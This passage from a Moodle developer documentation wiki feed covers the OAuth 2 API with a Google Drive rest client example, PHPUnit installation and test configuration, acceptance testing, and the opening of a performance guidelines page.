Make requests! This class extends the moodle curl class but includes authentication information with each request automatically. This means you can use standard functions like $client-&amp;gt;get() or $client-&amp;gt;post() to manually call rest api functions. This class will also honour the configured Moodle security settings like ipaddress black lists and proxy settings. &lt;br /&gt;
&lt;br /&gt;
How do I make it easier to call API functions?&lt;br /&gt;
&lt;br /&gt;
There is an abstract class \core\oauth2\rest which contains helper functions to allow you to wrap a external rest api in an easier to use class. To use it, make a subclass in your own plugin and define the &amp;quot;get_api_functions()&amp;quot; method. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;/**                                                                                                                                 &lt;br /&gt;
 * Google Drive Rest API.                                                                                                           &lt;br /&gt;
 *                                                                                                                                  &lt;br /&gt;
 * @package    fileconverter_googledrive                                                                                            &lt;br /&gt;
 * @copyright  2017 Damyon Wiese                                                                                                    &lt;br /&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later                                                             &lt;br /&gt;
 */                                                                                                                                 &lt;br /&gt;
namespace fileconverter_googledrive;                                                                                                &lt;br /&gt;
                                                                                                                                    &lt;br /&gt;
defined(&#039;MOODLE_INTERNAL&#039;) || die();                                                                                                &lt;br /&gt;
                                                                                                                                    &lt;br /&gt;
/**                                                                                                                                 &lt;br /&gt;
 * Google Drive Rest API.                                                                                                           &lt;br /&gt;
 *                                                                                                                                  &lt;br /&gt;
 * @copyright  2017 Damyon Wiese                                                                                                    &lt;br /&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later                                                             &lt;br /&gt;
 */                                                                                                                                 &lt;br /&gt;
class rest extends \core\oauth2\rest {                                                                                              &lt;br /&gt;
                                                                                                                                    &lt;br /&gt;
    /**                                                                                                                             &lt;br /&gt;
     * Define the functions of the rest API.                                                                                        &lt;br /&gt;
     *                                                                                                                              &lt;br /&gt;
     * @return array Example:                                                                                                       &lt;br /&gt;
     *  [ &#039;listFiles&#039; =&amp;gt; [ &#039;method&#039; =&amp;gt; &#039;get&#039;, &#039;endpoint&#039; =&amp;gt; &#039;http://...&#039;, &#039;args&#039; =&amp;gt; [ &#039;folder&#039; =&amp;gt; PARAM_STRING ] ] ]                &lt;br /&gt;
     */                                                                                                                             &lt;br /&gt;
    public function get_api_functions() {                                                                                           &lt;br /&gt;
        return [                                                                                                                    &lt;br /&gt;
            &#039;create&#039; =&amp;gt; [                                                                                                           &lt;br /&gt;
                &#039;endpoint&#039; =&amp;gt; &#039;https://www.googleapis.com/drive/v3/files&#039;,                                                          &lt;br /&gt;
                &#039;method&#039; =&amp;gt; &#039;post&#039;,                                                                                                 &lt;br /&gt;
                &#039;args&#039; =&amp;gt; [                                                                                                         &lt;br /&gt;
                    &#039;fields&#039; =&amp;gt; PARAM_RAW                                                                                           &lt;br /&gt;
                ],                                                                                                                  &lt;br /&gt;
                &#039;response&#039; =&amp;gt; &#039;json&#039;                                                                                                &lt;br /&gt;
            ],                                                                                                                      &lt;br /&gt;
            &#039;delete&#039; =&amp;gt; [                                                                                                           &lt;br /&gt;
                &#039;endpoint&#039; =&amp;gt; &#039;https://www.googleapis.com/drive/v3/files/{fileid}&#039;,                                                 &lt;br /&gt;
                &#039;method&#039; =&amp;gt; &#039;delete&#039;,                                                                                               &lt;br /&gt;
                &#039;args&#039; =&amp;gt; [                                                                                                         &lt;br /&gt;
                    &#039;fileid&#039; =&amp;gt; PARAM_RAW                                                                                           &lt;br /&gt;
                ],                                                                                                                  &lt;br /&gt;
                &#039;response&#039; =&amp;gt; &#039;json&#039;                                                                                                &lt;br /&gt;
            ],                                                                                                                      &lt;br /&gt;
        ];                                                                                                                          &lt;br /&gt;
    }                                                                                                                               &lt;br /&gt;
}               &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This example defines 2 functions in the external API &#039;create&#039; and &#039;delete&#039;. It specifies the http methods to use when calling these functions as well as the list of parameters. It also specifies that these functions return &#039;json&#039; which means that the rest class will automatically decode the json response into an object. The url for each function call can contain parameters in the url (marked with curly braces). These will be replaced when they are passed as arguments to the function. Any remaining arguments will be appended as query parameters. &lt;br /&gt;
&lt;br /&gt;
To use this class - we pass the oauth2 client to the constructor and then use the &amp;quot;call&amp;quot; method to call functions from the api.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$service = new \fileconverter_googledrive\rest($client);           &lt;br /&gt;
&lt;br /&gt;
$params = [&#039;fileid&#039; =&amp;gt; $fileid];                                                                                                                          &lt;br /&gt;
&lt;br /&gt;
$service-&amp;gt;call(&#039;delete&#039;, $params);                         &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I call API functions when the user is not logged in (e.g. from a scheduled task)? ==&lt;br /&gt;
&lt;br /&gt;
Moodle allows you to connect a &amp;quot;system account&amp;quot; to any of the OAuth issuers. This is optional - so before enabling functionality that relies on this level of access you should check that the system account has been connected:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
if ($issuer-&amp;gt;is_system_account_connected()) {&lt;br /&gt;
    // Rock and roll.&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If a system account has been connected - we can use it to get an authenticated oauth client (no redirects involved). &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$client = \core\oauth2\api::get_system_oauth_client($issuer);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This client can now be used to access apis as the Moodle system user.&lt;br /&gt;
&lt;br /&gt;
If your code is going to use additional login scopes with this API - it must list all of the scopes it will use in a callback function so that the Moodle administrator can consent and agree to all the scopes when they connect the system account. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
**                                                                                                                                 &lt;br /&gt;
 * Callback to get the required scopes for system account.                                                                          &lt;br /&gt;
 *                                                                                                                                  &lt;br /&gt;
 * @param \core\oauth2\issuer $issuer                                                                                               &lt;br /&gt;
 * @return string                                                                                                                   &lt;br /&gt;
 */                                                                                                                                 &lt;br /&gt;
function fileconverter_googledrive_oauth2_system_scopes(\core\oauth2\issuer $issuer) {                                              &lt;br /&gt;
    if ($issuer-&amp;gt;get(&#039;id&#039;) == get_config(&#039;fileconverter_googledrive&#039;, &#039;issuerid&#039;)) {                                                &lt;br /&gt;
        return &#039;https://www.googleapis.com/auth/drive&#039;;                                                                             &lt;br /&gt;
    }                                                                                                                               &lt;br /&gt;
    return &#039;&#039;;                                                                                                                      &lt;br /&gt;
}  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The way the system account works is that a Moodle admin &amp;quot;connects&amp;quot; the system account by logging in with this account and accepting the permissions from the &amp;quot;Site administration -&amp;gt; Server -&amp;gt; OAuth 2 Services&amp;quot; page. One of the permissions they must accept is for offline access. This means that Moodle will receive a refresh token and can store it against that issuer. When we need to get a logged in OAuth client - we can exchange the refresh token for an access token directly, without having to login. The refresh token is updated by a scheduled task to make sure it never expires.&lt;br /&gt;
&lt;br /&gt;
[[ja:開発:OAuth_2_API]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=PHPUnit&amp;diff=61978</id>
		<title>PHPUnit</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=PHPUnit&amp;diff=61978"/>
		<updated>2022-04-16T15:08:02Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Moodle 2.3}}&lt;br /&gt;
=What is PHPUnit=&lt;br /&gt;
PHPUnit by Sebastian Bergmann is an advanced unit testing framework for PHP. It is installed as Composer dependency and is not part of Moodle installation. To run PHPUnit tests, you have to manually install it on your development computer or test server.&lt;br /&gt;
&lt;br /&gt;
Read the excellent guide at&lt;br /&gt;
* [https://phpunit.de/documentation.html PHPUnit Manual]&lt;br /&gt;
=Installation of PHPUnit via Composer=&lt;br /&gt;
* Install Composer&lt;br /&gt;
Instructions for installing composer on all platforms are here: https://getcomposer.org/download/&lt;br /&gt;
&lt;br /&gt;
Install the composer.phar file to your moodle folder.&lt;br /&gt;
* Execute Composer installer&lt;br /&gt;
 cd /your/moodle/dirroot&lt;br /&gt;
&lt;br /&gt;
 php composer.phar install&lt;br /&gt;
(If that gives you connection problems try...)&lt;br /&gt;
 php composer.phar install --prefer-source&lt;br /&gt;
Troubleshooting:&lt;br /&gt;
* On Windows if you are behind a proxy you will need to setup an environment variable called HTTP_PROXY with a value detailing your HTTP Proxy address and port before composer will correctly download files.&lt;br /&gt;
* You may be prompted for github credentials when installing composer dependencies.&lt;br /&gt;
** This is used to generate an personal access token to avoid being rate limited by github.&lt;br /&gt;
** If you have Two Factor Authentication enabled on your github account, or do not wish to supply your own credentials you will need to generate a token manually:&lt;br /&gt;
*** Visit https://github.com/settings/applications and request personal access token&lt;br /&gt;
*** Copy this token and add it to your [https://gist.github.com/andrewnicols/c5377ed25a9df1006ce1 ~/.composer/config.json]&lt;br /&gt;
** ( See [https://github.com/composer/composer/issues/2280 composer issue #2280] for further details of this bug.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Detailed instructions:&lt;br /&gt;
* [http://getcomposer.org/doc/00-intro.md Composer documentation]&lt;br /&gt;
Detailed instructions:&lt;br /&gt;
* [[PHPUnit installation in Windows]]&lt;br /&gt;
* [[PHPUnit installation in OS X]]&lt;br /&gt;
== Uninstalling previous PEAR based version ==&lt;br /&gt;
Before using composer, this page used to suggest to install phpunit via PEAR. If you did so, you may wish to uninstall that package now. This should work:&lt;br /&gt;
   $ pear uninstall phpunit/DbUnit&lt;br /&gt;
   $ pear uninstall phpunit/PHPUnit&lt;br /&gt;
= PHPUnit versions =&lt;br /&gt;
The following table shows what PHPUnit version is installed in which Moodle version when using the default composer setup.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Moodle version&lt;br /&gt;
! PHPUnit version&lt;br /&gt;
!Links&lt;br /&gt;
|-&lt;br /&gt;
| Moodle 3.11&lt;br /&gt;
| PHPUnit 9.5&lt;br /&gt;
|[https://phpunit.readthedocs.io/en/9.5/ Documentation]&lt;br /&gt;
|-&lt;br /&gt;
| Moodle 3.10&lt;br /&gt;
| PHPUnit 8.5&lt;br /&gt;
|[https://phpunit.readthedocs.io/en/8.5/ Documentation]&lt;br /&gt;
|-&lt;br /&gt;
| Moodle 3.7 - 3.9&lt;br /&gt;
| PHPUnit 7.5&lt;br /&gt;
|[https://phpunit.readthedocs.io/en/7.5/ Documentation]&lt;br /&gt;
|-&lt;br /&gt;
| Moodle 3.4 - 3.6&lt;br /&gt;
| PHPUnit 6.5&lt;br /&gt;
|[https://phpunit.de/manual/6.5/en/ Documentation]&lt;br /&gt;
|-&lt;br /&gt;
| Moodle 3.2 - 3.3&lt;br /&gt;
| PHPUnit 5.5&lt;br /&gt;
|[https://phpunit.de/manual/5.5/en/ Documentation]&lt;br /&gt;
|-&lt;br /&gt;
| Moodle 3.1&lt;br /&gt;
| PHPUnit 4.8.27&lt;br /&gt;
|[https://phpunit.de/manual/4.8/en/ Documention 4.8]&lt;br /&gt;
|}&lt;br /&gt;
=Initialisation of test environment=&lt;br /&gt;
Our PHPUnit integration requires a dedicated database and dataroot. First, add a new dataroot directory and prefix into your config.php, you can find examples in config-dist.php (scroll down to &#039;Section 9&#039;).&lt;br /&gt;
 $CFG-&amp;gt;phpunit_prefix = &#039;phpu_&#039;;&lt;br /&gt;
 $CFG-&amp;gt;phpunit_dataroot = &#039;/home/example/phpu_moodledata&#039;;&lt;br /&gt;
Some PHPUnit tests require a live internet connection. If your system does not have a direct connection to the Internet, you also need to specify your proxy in config.php - even though you normally specify it by using the admin settings user interface. (If you do not use a proxy, you can skip this step.) Check the settings on the relevant admin settings page, or from the mdl_config table in your database, if you are unsure of the correct values.&lt;br /&gt;
 // Normal proxy settings&lt;br /&gt;
 $CFG-&amp;gt;proxyhost = &#039;wwwcache.example.org&#039;;&lt;br /&gt;
 $CFG-&amp;gt;proxyport = 80;&lt;br /&gt;
 $CFG-&amp;gt;proxytype = &#039;HTTP&#039;;&lt;br /&gt;
 $CFG-&amp;gt;proxybypass = &#039;localhost, 127.0.0.1, .example.org&#039;;&lt;br /&gt;
 // Omit the next lines if your proxy doesn&#039;t need a username/password:&lt;br /&gt;
 $CFG-&amp;gt;proxyuser = &#039;systemusername&#039;;&lt;br /&gt;
 $CFG-&amp;gt;proxypassword = &#039;systempassword&#039;;&lt;br /&gt;
From Moodle 2.8.5 onwards, you can also provide specific database settings for unit testing (if these are not provided, the standard database settings will be used):&lt;br /&gt;
&amp;lt;pre&amp;gt;$CFG-&amp;gt;phpunit_dbtype    = &#039;pgsql&#039;;      // &#039;pgsql&#039;, &#039;mariadb&#039;, &#039;mysqli&#039;, &#039;mssql&#039;, &#039;sqlsrv&#039; or &#039;oci&#039;&lt;br /&gt;
$CFG-&amp;gt;phpunit_dblibrary = &#039;native&#039;;     // &#039;native&#039; only at the moment&lt;br /&gt;
$CFG-&amp;gt;phpunit_dbhost    = &#039;127.0.0.1&#039;;  // eg &#039;localhost&#039; or &#039;db.isp.com&#039; or IP&lt;br /&gt;
$CFG-&amp;gt;phpunit_dbname    = &#039;mytestdb&#039;;     // database name, eg moodle&lt;br /&gt;
$CFG-&amp;gt;phpunit_dbuser    = &#039;postgres&#039;;   // your database username&lt;br /&gt;
$CFG-&amp;gt;phpunit_dbpass    = &#039;some_password&#039;;   // your database password&amp;lt;/pre&amp;gt;&lt;br /&gt;
Then you need to initialise the test environment using following command.&lt;br /&gt;
 cd /home/example/moodle&lt;br /&gt;
 php admin/tool/phpunit/cli/init.php&lt;br /&gt;
This command has to be repeated after any upgrade, plugin (un)installation or if you have added tests to a plugin you are developing:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;NOTE:&#039;&#039;&#039; make sure that your php cli executable (or the one you want to use) is correctly on your path as the individual init scripts will call it repeatedly. Also, ensure en_AU locale is installed on your server.&lt;br /&gt;
== LDAP ==&lt;br /&gt;
If you want to run LDAP unit tests you must have a working, configured LDAP environment on your test server. There must be a basic LDAP tree structure in place or tests will fail with &amp;quot;Search: No such object&amp;quot;. Build an LDAP tree structure in a new shell prompt:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ldapadd -H ldap://127.0.0.1 -D &amp;quot;cn=admin,dc=yourcomputer,dc=local&amp;quot; -W&lt;br /&gt;
dn:dc=yourcomputer,dc=local&lt;br /&gt;
objectClass:dcObject&lt;br /&gt;
objectClass:organizationalUnit&lt;br /&gt;
dc:yourcomputer&lt;br /&gt;
ou:YOURCOMPUTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In config.php tell Moodle where to look for your test LDAP environment:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
// Constants for auth/ldap tests.&lt;br /&gt;
define(&#039;TEST_AUTH_LDAP_HOST_URL&#039;, &#039;ldap://127.0.0.1&#039;);&lt;br /&gt;
define(&#039;TEST_AUTH_LDAP_BIND_DN&#039;, &#039;cn=admin,dc=yourcomputer,dc=local&#039;);&lt;br /&gt;
define(&#039;TEST_AUTH_LDAP_BIND_PW&#039;, &#039;*&#039;);&lt;br /&gt;
define(&#039;TEST_AUTH_LDAP_DOMAIN&#039;, &#039;dc=yourcomputer,dc=local&#039;);&lt;br /&gt;
&lt;br /&gt;
// Constants for enrol/ldap tests.&lt;br /&gt;
define(&#039;TEST_ENROL_LDAP_HOST_URL&#039;, &#039;ldap://127.0.0.1&#039;);&lt;br /&gt;
define(&#039;TEST_ENROL_LDAP_BIND_DN&#039;, &#039;cn=admin,dc=yourcomputer,dc=local&#039;);&lt;br /&gt;
define(&#039;TEST_ENROL_LDAP_BIND_PW&#039;, &#039;*&#039;);&lt;br /&gt;
define(&#039;TEST_ENROL_LDAP_DOMAIN&#039;, &#039;dc=yourcomputer,dc=local&#039;);&lt;br /&gt;
&lt;br /&gt;
// Constants for lib/ldap tests.&lt;br /&gt;
define(&#039;TEST_LDAPLIB_HOST_URL&#039;, &#039;ldap://127.0.0.1&#039;);&lt;br /&gt;
define(&#039;TEST_LDAPLIB_BIND_DN&#039;, &#039;cn=admin,dc=yourcomputer,dc=local&#039;);&lt;br /&gt;
define(&#039;TEST_LDAPLIB_BIND_PW&#039;, &#039;*&#039;);&lt;br /&gt;
define(&#039;TEST_LDAPLIB_DOMAIN&#039;, &#039;dc=yourcomputer,dc=local&#039;);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=Test execution=&lt;br /&gt;
To execute all test suites from main configuration file execute the &amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;vendor/bin/phpunit&amp;lt;/syntaxhighlight&amp;gt; script from your &amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;$CFG-&amp;gt;dirroot&amp;lt;/syntaxhighlight&amp;gt; directory.&lt;br /&gt;
 cd /home/example/moodle&lt;br /&gt;
 vendor/bin/phpunit&lt;br /&gt;
The rest of examples uses &amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;phpunit&amp;lt;/syntaxhighlight&amp;gt;, please substitute it with &amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;vendor/bin/phpunit&amp;lt;/syntaxhighlight&amp;gt; or create a shortcut in your dirroot.&lt;br /&gt;
In IDEs, you may need to specify the path to the PHPUnit configuration file. Use the absolute path to &amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;phpunit.xml&amp;lt;/syntaxhighlight&amp;gt; from your &amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;$CFG-&amp;gt;dirroot&amp;lt;/syntaxhighlight&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is an alternative script for running of tests via web interface: &amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;admin/tool/phpunit/webrunner.php&amp;lt;/syntaxhighlight&amp;gt;. Use this as the last resort only when you cannot use the command-line interface on your test server. It will most probably break due to permissions problems if you try to execute it both from command-line and from webrunner. This feature is not officially supported.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How to run only some tests===&lt;br /&gt;
==== Running a single test quickly (PHPUnit 9) ====&lt;br /&gt;
{{Moodle 3.11}}&lt;br /&gt;
The fastest way to run a single test in PHPUnit 9.5 and higher (Moodle 3.11 and higher) is to use the filter argument:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vendor/bin/phpunit --filter tool_dataprivacy_metadata_registry_testcase&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To run all tests provided by the single component, use suite and the name it has in the phpunit.xml file. Example:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vendor/bin/phpunit --testsuite workshopform_accumulative_testsuite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Alternatively if you have config files built for each component:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vendor/bin/phpunit -c mod/workshop/form/accumulative/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Running a single test quickly (PHPUnit 8) ====&lt;br /&gt;
{{Moodle 3.10}}&lt;br /&gt;
The fastest way to run a single test in PHPUnit 8.5 and lower (Moodle 3.10 and lower):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vendor/bin/phpunit my/tests/filename.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
so, run this command in the CLI to see a real test in action:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vendor/bin/phpunit cohort/tests/cohortlib_test.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You can also run a single test method inside a class:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vendor/bin/phpunit --filter test_function_name path/to/file.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note: You should be careful because it may be possible to run tests this way which are not included in the normal run if, for example, the file is not placed in the correct location. If you use this method, do at least one full test run (or --group run, as below) to ensure the test can be found.&lt;br /&gt;
&lt;br /&gt;
Filters can also be applied to capture a group of similar tests across all testsuites:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vendor/bin/phpunit --filter test_flag_user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
It is also possible to run all tests in a component (subsystem or plugin) by using the testsuite option:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vendor/bin/phpunit --testsuite mod_forum_testsuite&lt;br /&gt;
vendor/bin/phpunit --testsuite core_privacy_testsuite&lt;br /&gt;
vendor/bin/phpunit --testsuite core_privacy_testsuite --filter test_component_is_compliant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Using the @group annotation ====&lt;br /&gt;
If you add annotations like&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
namespace qtype_stack;&lt;br /&gt;
/**&lt;br /&gt;
 * Unit tests for {@link stack_cas_keyval} @ qtype/stack/tests/cas_keyval_test.php.&lt;br /&gt;
 * @group qtype_stack&lt;br /&gt;
 */&lt;br /&gt;
class cas_keyval_test extends \basic_testcase {&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
to all the classes in your plugin, then you can run just the tests for your plugin by doing&lt;br /&gt;
 phpunit --group qtype_stack&lt;br /&gt;
Therefore, it is suggested that you annotate all your tests with the Frankenstyle name of your plugin.&lt;br /&gt;
==== Using multiple phpunit.xml files ====&lt;br /&gt;
It&#039;s easy to create alternative phpunit.xml files defining which tests must be run together. For reference, take a look to the default /phpunit.xml available in your base directory once the testing environment has been initialised. After creating the custom file you will be able to run those tests with&lt;br /&gt;
 vendor/bin/phpunit -c path/to/your/alternative/phpunit/file.xml&lt;br /&gt;
Also, for commodity, you can use this command:&lt;br /&gt;
 php admin/tool/phpunit/cli/util.php --buildcomponentconfigs&lt;br /&gt;
It will, automatically, create one valid phpunit.xml file within each component (plugin or subsystem) and other important directories, so later you will be able to execute tests like&lt;br /&gt;
 vendor/bin/phpunit -c mod/forum[/phpunit.xml]  // Note that it&#039;s not needed to specify the name of the file (if it is &#039;phpunit.xml&#039;).&lt;br /&gt;
 vendor/bin/phpunit -c question&lt;br /&gt;
 vendor/bin/phpunit -c question/type/calculated&lt;br /&gt;
 vendor/bin/phpunit -c backup&lt;br /&gt;
 vendor/bin/phpunit -c lib/dml&lt;br /&gt;
 ...&lt;br /&gt;
or, also&lt;br /&gt;
 cd directory/with/phpunit.xml&lt;br /&gt;
 phpunit&lt;br /&gt;
=External test resources=&lt;br /&gt;
{{Moodle 2.6}}&lt;br /&gt;
By default Moodle phpunit tests contact http://download.moodle.org server when testing curl related functionality. Optionally you may checkout a local copy of the test scripts and access it instead:&lt;br /&gt;
# clone https://github.com/moodlehq/moodle-exttests to web directory&lt;br /&gt;
# add to your config.php or modify phpunit.xml file &amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;define(&#039;TEST_EXTERNAL_FILES_HTTP_URL&#039;, &#039;http://localhost/moodle-exttests&#039;);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=Writing new tests=&lt;br /&gt;
* read [http://www.phpunit.de/manual/current/en/ official PHPUnit online documentation]&lt;br /&gt;
* see [[Writing PHPUnit tests]]&lt;br /&gt;
=Conversion of existing SimpleTests=&lt;br /&gt;
* see [[SimpleTest conversion]]&lt;br /&gt;
=PHPUnit support in IDEs=&lt;br /&gt;
* [[Setting up Eclipse]]&lt;br /&gt;
* [[Setting up Netbeans]]&lt;br /&gt;
* [[Setting up PhpStorm]]&lt;br /&gt;
=Common Unit Test Problems=&lt;br /&gt;
[[Common unit test problems]]&lt;br /&gt;
=Performance=&lt;br /&gt;
A typical run of full PHPUnit tests for Moodle 2.7 takes 10-20 minutes depending on the machine. If tests run slowly for you:&lt;br /&gt;
* Ensure you are using a database and filesystem running on the same machine that is running the tests (not on a remote server).&lt;br /&gt;
* Apply developer-only performance settings to your database: [[Postgres Tuning For Developers]]&lt;br /&gt;
=Command line tips=&lt;br /&gt;
* Run all tests for a plugin (mod_mymodule in this example): vendor/bin/phpunit --testsuite=mod_mymodule_testsuite &lt;br /&gt;
* Run only named test: vendor/bin/phpunit --filter=test_my_test_function_name&lt;br /&gt;
* Display each test name before running it (useful e.g. if it crashes before the end and you want to know which test it was running at that point) vendor/bin/phpunit --debug (you will probably want to redirect this to a file as it gets very long).&lt;br /&gt;
[[Category:Unit testing]]&lt;br /&gt;
&lt;br /&gt;
[[ja:PHPUnit]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Acceptance_testing&amp;diff=61751</id>
		<title>Acceptance testing</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Acceptance_testing&amp;diff=61751"/>
		<updated>2022-02-22T15:02:16Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Moodle uses a framework called Behat to automatically test the user-interface. Tests can be written for each plugin, and for Moodle core.&lt;br /&gt;
&lt;br /&gt;
* To run the existing tests, read [[Running acceptance test]]. You really need to do this first.&lt;br /&gt;
* To write new tests, read [[Writing acceptance tests]].&lt;br /&gt;
* To define new steps that can you used when writing tests, see [[Writing new acceptance test step definitions]]&lt;br /&gt;
&lt;br /&gt;
Because Behat tests work through the Moodle user interface, they are a bit slow. Therefore, you should probably also use [[PHPUnit]] to test the detailed edge cases in your code.&lt;br /&gt;
&lt;br /&gt;
[[Category:Behat]]&lt;br /&gt;
&lt;br /&gt;
[[ja:受け入れテスト]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Performance_and_scalability&amp;diff=61745</id>
		<title>Performance and scalability</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Performance_and_scalability&amp;diff=61745"/>
		<updated>2022-02-18T15:01:59Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;Performance&#039;&#039;&#039; is about allowing Moodle to support as many users as possible with a certain amount of hardware.&lt;br /&gt;
&lt;br /&gt;
Of course you can always always buy a bigger server. &#039;&#039;&#039;Scalability&#039;&#039;&#039; means ensuring that if you buy a server that is about twice as powerful, it can then handle about twice as much load.&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[Coding|Moodle coding guidelines]]&lt;br /&gt;
&lt;br /&gt;
==Writing code that scales and performs==&lt;br /&gt;
&lt;br /&gt;
===Every page should only use a fixed number of database queries===&lt;br /&gt;
&lt;br /&gt;
* Be very suspicious if you ever see database code inside a loop.&lt;br /&gt;
** This is sometimes hard to spot if the database access is hidden in a function.&lt;br /&gt;
* Instead use JOINs and subqueries. (&amp;lt;tt&amp;gt;get_records_sql&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;get_recordset_sql&amp;lt;/tt&amp;gt;, etc.).&lt;br /&gt;
** Or look for a Moodle API function that gets the information you want as efficiently as possible. (For example, &amp;lt;tt&amp;gt;get_users_by_capability&amp;lt;/tt&amp;gt;)&lt;br /&gt;
** See the [[Database|Database guidelines]] for how to write SQL that will work on all our supported databases.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Limit the amount of RAM each page requires to generate===&lt;br /&gt;
&lt;br /&gt;
* Large reports should be broken into pages of a fixed size.&lt;br /&gt;
* Processing large amounts of data from the database should be handled with a recordset (when you cannot do all the processing in the database with SQL) and using [https://github.com/moodle/moodle/blob/master/lib/classes/dml/recordset_walk.php recordset_walk iterator], as there is no RAM benefit on using recordsets if you load all the results in a massive PHP array.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Be cautious about other external calls===&lt;br /&gt;
&lt;br /&gt;
Like a database query, there are other operations that are much slower than just executing PHP code. For example:&lt;br /&gt;
* running a shell script&lt;br /&gt;
* making a web-service call&lt;br /&gt;
* (to a lesser extent) working with files.&lt;br /&gt;
Whenever you are doing these things, worry about performance.&lt;br /&gt;
&lt;br /&gt;
==How to improve the performance of your code==&lt;br /&gt;
&lt;br /&gt;
===Measure during development===&lt;br /&gt;
&lt;br /&gt;
